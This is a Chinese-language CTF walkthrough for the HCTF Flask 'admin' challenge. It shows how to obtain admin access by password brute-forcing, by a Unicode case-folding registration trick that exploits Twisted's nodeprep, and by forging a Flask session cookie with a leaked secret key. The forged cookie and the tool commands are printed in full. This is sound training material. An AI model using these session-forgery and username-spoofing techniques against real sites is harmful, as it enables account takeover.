目录
信息收集
思路一:弱口令爆破
思路2:垂直越权
代码审计
Unicode欺骗
Unicode 简介
伪造flask session
信息收集
注册登录
然后查看源码
<!-- you are not admin -->
看来需要伪造admin的身份
在changepassword页面查看源代码
<!-- https://github.com/woadsl1234/hctf_flask/ -->
注册admin 用户
回显The username has been registered
思路一:弱口令爆破
由于提供了admin,于是对admin进行爆破即可
拿到admin的密码直接登录即可获得flag
思路2:垂直越权
我们先下载hctf_flask,发现这是python的框架
代码审计
- 秘钥
- nodeprep.prepare函数
Unicode欺骗
- 原理
这里用到了
nodeprep.prepare
函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0
,而官网最新版本为19.2.0
(2019/6/2),版本差距这么大,估计是存在什么漏洞。这里原理就是利用nodeprep.prepare函数会将unicode字符
ᴬ
转换成A
,而A
在调用一次nodeprep.prepare函数会把A
转换成a
。
所以当我们用ᴬdmin
注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin
,我们用ᴬdmin
进行登录,可以看到index页面的username变成了Admin
,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。
-
Unicode 简介
Unicode 是国际标准字符集,它将世界各种语言的每个字符定义一个唯一的编码,以满足跨语言、跨平台的文本信息转换
Letter Capital A
Unicode库
注册一个账号 :ᴬᴰᴹᴵᴺ;修改密码为123456然后退出,用账号”admin“,密码:123456成功登录
大致的思路是:在注册的时候 ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“(没啥卵用,但是你已经知道了一个密码已知的”admin“,而且在index.html中可以看到只要session['name']=='admin',也就是只要用户名是’admin‘就可成功登录了)
伪造flask session
- 简介
一、配置SECRET_KEY
因为flask的session是通过加密之后放到了cookie中。所以有加密就有密钥用于解密,所以,只要用到了flask的session模块就一定要配置“SECRET_KEY”这个全局宏。一般设置为24位的字符。配置方法一般有两种。
配置方法一:
新建一个config.py的文件配置secret_key
配置方法二:
直接在主运行文件里面配置。配置config的时候也是和操作字典是一样的
main.py
找到config.py,默认密钥为ckj123
上梯子在github寻找加解密的脚本
加解密脚本在github的flask_session_cookie_manager
在kali上git脚本
git clone https://github.com/noraj/flask-session-cookie-manager.git
- 查看说明
Encode
usage: flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>
optional arguments:
-h, --help show this help message and exit
-s <string>, --secret-key <string>
Secret key
-t <string>, --cookie-structure <string>
Session cookie structure
Decode
usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>
optional arguments:
-h, --help show this help message and exit
-s <string>, --secret-key <string>
Secret key
-c <string>, --cookie-value <string>
Session cookie value
开始解密
{'_fresh': True, '_id': b'1937acdfca51734654325bb3cba9a9c452691136d6e7b9023bd1fe8f3ab9359cc89c463b5aeac3cfbf1e84253385bd78d81c7cf9fc64ec5945c99c4f1dce0d6d', 'csrf_token': b'95304baadecae6a9070dd13c25491ecc73924a87', 'image': b'qRBT', 'name': 'xiao', 'user_id': '11'}
将xaio改为admin进行加密
{'_fresh': True, '_id': b'1937acdfca51734654325bb3cba9a9c452691136d6e7b9023bd1fe8f3ab9359cc89c463b5aeac3cfbf1e84253385bd78d81c7cf9fc64ec5945c99c4f1dce0d6d', 'csrf_token': b'95304baadecae6a9070dd13c25491ecc73924a87', 'image': b'qRBT', 'name': 'admin', 'user_id': '11'}
.eJw9kMGKwjAURX9leGsXttqN4MKZ2qLwElpSQ96mqK02SeNAVUYj_vtkHHB94dxz7wPqw9CeO5hdhms7glo3MHvAxw5mgMJ6FmeGcjJKVDfmccxMNUa_ipRbeRWvOy6XifJFhEYlKJaeuSIm0WguFneM1xYl9TxXXslVgr5KVIxTLv84TDOZ9Upi4JAmk_U8Le5MoOfpRlO6n1J6vCnfGDK9C4QxSYy4KCLlbegsHcrSkPi0oXMOzxHsz8Ohvnzb9vSewEXlMS21kpklyToS1AW1CealRcEMhjlcBI0YJ-jtneXLKfuZv3DabY_tm7TfrL82i__ktHUhgG3j9AlGcD23w-s3iCJ4_gJTWWz3.Y8YWYQ.e6ZpyA3vyA_kVIKn2WvUZyB9o5U
插件修改cookie,刷新登录成功拿到flag